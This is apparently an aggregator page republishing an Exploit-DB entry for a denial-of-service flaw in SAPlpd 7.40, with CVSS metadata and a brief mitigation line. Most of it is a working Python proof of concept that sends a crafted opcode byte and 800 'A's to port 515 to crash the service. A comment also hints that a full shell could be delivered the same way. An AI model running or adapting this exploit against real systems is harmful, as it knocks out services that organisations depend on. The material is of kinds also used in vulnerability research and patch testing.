SAPlpd 7.40 Denial of Service

vendor:

SAPlpd

by:

Peter Baris

8,8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: SAPlpd

Affected Version From: 7.40

Affected Version To: 7.40

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Server 2008 R2 x64, Windows 7 Pro x64

2016

SAPlpd 7.40 Denial of Service

The vulnerability exists in the Opcodes 03h and 04h of SAPlpd 7.40, which are vulnerable to bad characters 00h and 0ah. An attacker can send a payload of 800 A's to crash the SAPlpd 7.40.

Mitigation:

The user should update to the latest version of SAPlpd 7.40 and ensure that all patches are applied.

Source

Exploit-DB raw data:

# Exploit Title: SAPlpd 7.40 Denial of Service
# Date: 2016-12-28
# Exploit Author: Peter Baris
# Exploit code: http://saptech-erp.com.au/resources/saplpd_dos.zip
# Version: 7.40 all patch levels (as a part of SAPGui 7.40)  
# Tested on: Windows Server 2008 R2 x64, Windows 7 Pro x64


import socket

# Opcodes 03h and 04h are vulnerable to bad characters 00h and 0ah
# So you can modify the DoS accordingly
# The added 800 A's are just to show, that you can deliver a complete shell with the command

DoS = ("\x03"+"\x0a"+"\x41"*800)


s = socket.socket()
s.settimeout(1)
s.connect(('192.168.198.132', 515))
print("[*] Crashing SAPlpd 7.40")
print("[*] Payload length: "+str(len(DoS))+" bytes")
s.send(DoS)
s.close()